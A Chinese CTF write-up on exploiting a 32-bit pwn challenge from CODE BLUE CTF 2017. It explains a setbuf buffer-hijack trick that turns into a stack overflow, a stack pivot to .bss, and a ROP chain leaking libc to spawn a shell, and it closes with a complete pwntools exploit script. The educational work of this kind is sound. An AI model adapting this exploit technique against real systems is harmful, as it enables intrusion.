CTF PWN 题之 setbuf 的利用

作者：Hcamael@知道创宇404实验室

朋友让我一起看了一道32位的pwn题，好像是国外code blue 2017 ctf上的一道题，开始我感觉32位pwn的姿势我应该都会了吧，结果，又学到了新姿势......

题目链接：

https://github.com/Hcamael/CTF_repo/tree/master/CODE%20BLUE%20CTF%202017/Pwn

在拿到这题的时候，看了下是32位的，canary都没开，本以为是很简单的题

在sub_8048ada函数中发现了一个任意函数调用的漏洞，对于filter输入的数值只检测v3

初次之外就找不到别的漏洞了，在参数无法控制的情况下，只能利用该bin中的本身函数，没有任何getshell的思路

然后在大佬的教导下，我第一次注意到了setbuf函数，大部分pwn题都会有这个函数，用来设置IO缓冲区的，第一个参数是文件流，第二个参数表示缓冲区，一般在pwn题中的用法是setbuf(stdin, 0)表示标准输入取消缓冲区。

仔细观察还会发现，stdin并不是0，而是在stdio库中设置的一个文件流，所以也是作用在stdio库中的函数，比如gets, puts, fread, fwrite

比如，gets函数使用的就是stdin描述符，如果设置了setbuf(stdin, buf)，gets函数则会先从buf中获取输入，自己也可以写个简单的代码测试一下

#include

int main(void)

{

char buf[10];

memset(buf, 0, 10);

buf[0] = '1';

printf(buf);

setbuf(stdout, buf);

printf("test");

write(1, "\n====\n",6);

write(1, buf, 10);

}

然后运行一下

$ ./a.out

1

====

test

可以从结果看出，printf根本没有输出test，而是把这个字符串输出到buf缓冲区中了，从而修改了buf中的内容。

因为设置的是stdout的缓冲区，而stdout是stdio库中的文件流，所以write并没有受到影响

还有一个问题，setbuf并没有设置长度的参数，设置长度的需要使用setvbuf，所以默认情况下setbuf设置的缓冲区长度为默认的4096，这样在该题中就形成了一个攻击链

控制程序跳转到setbuf函数，简单的讲就是调用setbuf(fd=fopen("/dev/null"), buf1)，然后在sub_8048742(no_filter)函数中调用了fwrite(fd, 0, buf2, len)，这样就能往buf1中写buf2的数据，而buf是存在栈中的，所以可以造成栈溢出，能栈溢出了，下面就是找ROP链了

栈溢出构造逻辑：

add(rop) -> add(buf1) -> buf(buf2) -> add(buf3) -> add(buf4) -> setbuf(fd, buf4) -> post(buf1) -> post(rop) -> 栈溢出，利用ROP链

下面就是研究怎么构造ROP，我的思路是：

利用printf泄露libc地址 -> 算出system，字符串/bin/sh地址 -> 构造出第二个system("/bin/sh")的ROP链 -> 通过fread写入.bss段 -> 利用ROP把栈修改成.bss段 -> 执行第二个ROP system("/bin/sh")

同样也能利用one_gadget，payload下面会放，这里再讨论一个问题

我把栈地址修改成0x804b100,执行system("/bin/sh")是失败的，然后再和大佬的讨论中发现了几种可能，system需要获取系统的环境变量envp，通过看system的源代码，发现有一个全局指针变量_environ指向栈上的envp，如果这个值被覆盖成了一个无效的地址，system则无法执行。但是在该题中，我的第一个rop并不长，所以并没有覆盖掉envp，之后修改了栈地址，也不存在覆盖envp的情况。

然后还有第二种情况，system栈地址空间不足，程序的可读可写地址空间是从0x804b000-0x804c000，总长度为0x1000，然后我修改的栈地址为0x804b100，所以system可用的栈空间只有0x100，之后我把栈的地址修改成0x804b700后，就能成功执行system("/bin/sh")了

附上payload:

#! /usr/bin/env python

# -*- coding: utf-8 -*-

from pwn import *

# context.log_level = "debug"

context.terminal = ['terminator','-x','bash','-c']

def add(p, data):

p.readuntil("> ")

p.sendline("1")

p.readuntil("contents: ")

p.sendline(data)

def post(p, n, offset):

p.readuntil("> ")

p.sendline("3")

p.readuntil("ID (0-4): ")

p.sendline(str(n))

p.readuntil("> ")

p.sendline(str(offset))

def quit(p):

p.readuntil("> ")

p.sendline("4")

def main():

p = process("./mailer",env={"LD_PRELOAD": "./libc.so.6"})

libc = ELF("./libc.so.6")

e = ELF("./mailer")

# gdb.attach(p)

gadget1 = 0x08048dab   # pop ebp ; ret

gadget2 = 0x080485f8   # leave ; ret

gadget3 = 0x08048495   # pop ebx ; ret

gadget4 = 0x08048daa   # pop edi ; pop ebp ; ret

gadget5 = 0x08048da9   # pop esi ; pop edi ; pop ebp ; ret

one_gadget_sh = 0x56ff5

read_buf = 0x080486D9

stdin_bss = 0x804B060

bss_buf = 0x804b700

rop1 = "a"*0xd

rop1 += p32(e.symbols["printf"]) + p32(gadget3) + p32(e.got["printf"]) # printf(&printf)

rop1 += p32(read_buf) + p32(gadget4) + p32(bss_buf) + p32(0x100) # fread(buf, 1, 0x100, stdin)

rop1 += p32(gadget1) + p32(bss_buf) + p32(gadget2) + p32(bss_buf)

add(p, rop1)

add(p, "b"*255)

add(p, "c"*255)

add(p, "d"*255)

add(p, "e"*255)

post(p, 4, -15)

post(p, 1, 0)

post(p, 0, 0)

quit(p)

p.readuntil(":)\n")

printf_got = u32(p.read(4))

# print hex(printf_got)

system_libc = libc.symbols["system"]

printf_libc = libc.symbols["printf"]

binsh_libc = libc.search("/bin/sh").next()

system_add = printf_got - printf_libc + system_libc

binsh_add =  printf_got - printf_libc + binsh_libc

one_gadget = printf_got - printf_libc + 0x3a838

#rop2 = "aaaa" + p32(gadget5) + p32(binsh_add+one_gadget_sh) + "aaaa" + p32(bss_buf) + p32(one_gadget)

rop2 = "aaaa" + p32(system_add) + p32(binsh_add) + p32(binsh_add)

p.sendline(rop2)

p.interactive()

if __name__ == '__main__':

main()

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